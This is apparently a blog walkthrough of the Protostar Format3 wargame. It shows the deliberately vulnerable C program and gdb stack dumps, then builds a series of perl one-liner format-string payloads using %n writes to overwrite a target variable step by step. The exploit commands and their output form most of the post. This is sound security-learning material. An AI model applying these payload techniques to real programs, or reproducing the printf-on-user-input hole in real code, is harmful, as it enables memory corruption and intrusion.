So recently I have been more into system security stuff, as it is one of my favourite topics. System security involves finding vulnerabilities and fixing them but for learning purposes we first have to exploit them. There are a number of labs or wargames available on the internet and one of them is from Exploit Exercises. These exercises teach you from buffer overflow exploitation to format strings and heap exploitation.
At this moment we will be going through how format string bug can be used to manupulate the stack. First few exercises of Format Strings were fairly simple. In Format3, you are supposed to change the value of the target variable to get the text you have modified the target :) printed.
The code is as follows:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void printbuffer(char *string)
{
printf(string);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printbuffer(buffer);
if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
As you can see the above code is not vulnerable to buffer overflow as it uses fgets() function which calculates the size of the buffer before copying it into the buffer, but there is surely a mistake in the printbuffer() function. We can read arbitary memory stored on the stack if we give format strings as an input to it.
Lets now look at what is meant by arbitary memory read. If we give string as an argument we recieve back the same string and our target variable is not changed.
➜ protostar ./format3
AAA
AAA
target is 00000000 :(
➜ protostar
What if we now supply a format string as an argument? Well just check it.
➜ protostar ./format3
%x %x %x %x
f7fedab0 f7e396eb 0 1
target is 00000000 :(
➜ protostar
What could be these values? Lets just open format3 in GDB and place a breakpoint at printbuffer() function.
➜ protostar gdb -q format3
Reading symbols from format3...done.
gdb-peda$ break printbuffer
Breakpoint 1 at 0x80484a1: file format3.c, line 10.
Lets have a look what the stack looks right now.
gdb-peda$ x/32xw $esp
0xffffcd14: 0xf7fedab0 0xf7e396eb 0x00000000 0x00000001
0xffffcd24: 0xf7f95000 0xffffcf48 0x080484e7 0xffffcd40
0xffffcd34: 0x00000200 0xf7f95580 0xf7fef8dc 0x25207825
0xffffcd44: 0x78252078 0x0a782520 0xf7fef900 0x00000070
0xffffcd54: 0xf7fd32e8 0xf7ffcfc4 0xf7fe1d20 0xf7fd7241
0xffffcd64: 0xf7f3edb8 0x00000001 0xf7fe46d4 0xf7ffdab0
0xffffcd74: 0xf7fd38d0 0x00000004 0x03ae75f6 0xf7fe3db7
0xffffcd84: 0x00000000 0xf7fe1bf9 0xf7fd7128 0x00000007
gdb-peda$
Now lets just continue the execution of the program.
gdb-peda$ c
Continuing.
f7fedab0 f7e396eb 0 1
target is 00000000 :(
[Inferior 1 (process 10704) exited normally]
Warning: not running or target is remote
gdb-peda$
And indeed we can see that the first 4 values from the stack gets printed out to stdout. Now, what we have to do in this exercise it to change the value of the target variable. First task would be to get the address of target variable. This can be done with objdump -t format3 | grep target
➜ protostar objdump -t format3 | grep target
0804a048 g O .bss 00000004 target
Now lets blindly try to input a dozen of %x with a few number of A's infront of it. I will use perl one-liner with the option -e.
➜ protostar echo AAAA`perl -e 'print "%x."x15'` | ./format3
AAAAf7fedab0.f7e396eb.0.1.f7f95000.ffffcf88.80484e7.ffffcd80.200.f7f95580.f7fef8dc.41414141.252e7825.78252e78.2e78252e.
target is 00000000 :(
➜ protostar
We can the see the 4 A's that we gave as an input as 41414141. What if we replace the A's with the address of the target variable. Remember that the address will be written in the little endian format.
➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x."x12'` | ./format3
Hf7fedab0.f7e396eb.0.1.f7f95000.ffffcf88.80484e7.ffffcd80.200.f7f95580.f7fef8dc.804a048.
target is 00000000 :(
➜ protostar
By looking at the printf() man page, it tells us that the %n format specifier can be used to the number of characters written so far to the address used as an argument. Since the target variable address is at the top, what if we replace the last %x with %n?
➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%x%n"'` | ./format3
Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580f7fef8dc
target is 00000048 :(
➜ protostar
Look, we have just changed the value of the variable. Please pay attention here, since we are overwriting 2 bytes at a time starting from the least significant bit we cannot subtract any number to accomplish "44" from "48". The only thing we can do is doing an addition. You can calculate the value using a calculator. We count from 0x48 to 0xff and then add 0x44 to it. I was able to get the value by some by some trial and error.
➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n"'` | ./format3
Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580
target is 00000144 :(
➜ protostar
Similarly, we have to change the next 2 bytes. I read some good papers (SCUT) and found a way out. You have to append some JUNK data and probably some padding of A's to identify the next location and everything would follow in the similar fashion.
➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n" . "JUNKAAAAAAAA" . "\x49\xa0\x04\x08" . "%x"x11'` | ./format3
Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580 f7fef8dcJUNKAAAAAAAAI7825782578257825782578257825782578257825303632254a6e2578414b4e554141414149414141250804a0
target is 00000144 :(
As you can see I got the next address at the top. Lets just write to that address.
➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n" . "JUNKAAAAAAAAA" . "\x49\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%n"'` | ./format3
Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580 f7fef8dcJUNKAAAAAAAAA7825782578257825782578257825782578257825303632254a6e2578414b4e554141414141414141
target is 0001a544 :(
Here we are getting "a5" as the next 2 bytes, that's roughly 90 bytes difference from "a5" to "ff" and adding "55" to it so, that would be 175 bytes and adding a few more bytes we get the desired value.
➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n" . "JUNKAAAAAAAAA" . "\x49\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%184x%n"'` | ./format3
Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580 f7fef8dcJUNKAAAAAAAAA7825782578257825782578257825782578257825303632254a6e2578414b4e554141414141414141
target is 00025544 :(
Writing next 2 bytes is left as an exercise to the reader. At the end you would get the memory overwritten message.
➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n" . "JUNKAAAAAAAAA" . "\x49\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%184x%n" . "JUNKAAAAAAAAAAA" . "\x4a\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%82x%n" . "JUNKAAAAAAAA" . "\x4b\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%175x%n"'` | ./format3
Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580 f7fef8dcJUNKAAAAAAAAA7825782578257825782578257825782578257825303632254a6e2578414b4e5541414141 41414141JUNKAAAAAAAAAAAJ7825782578257825782578257825782531257825257834384e554a6e4141414b41414141 41414141JUNKAAAAAAAAK78257825782578257825782578257825382578256e2578324b4e554a41414141 41414141
you have modified the target :)
This is Awesome! :)
No comments:
Post a Comment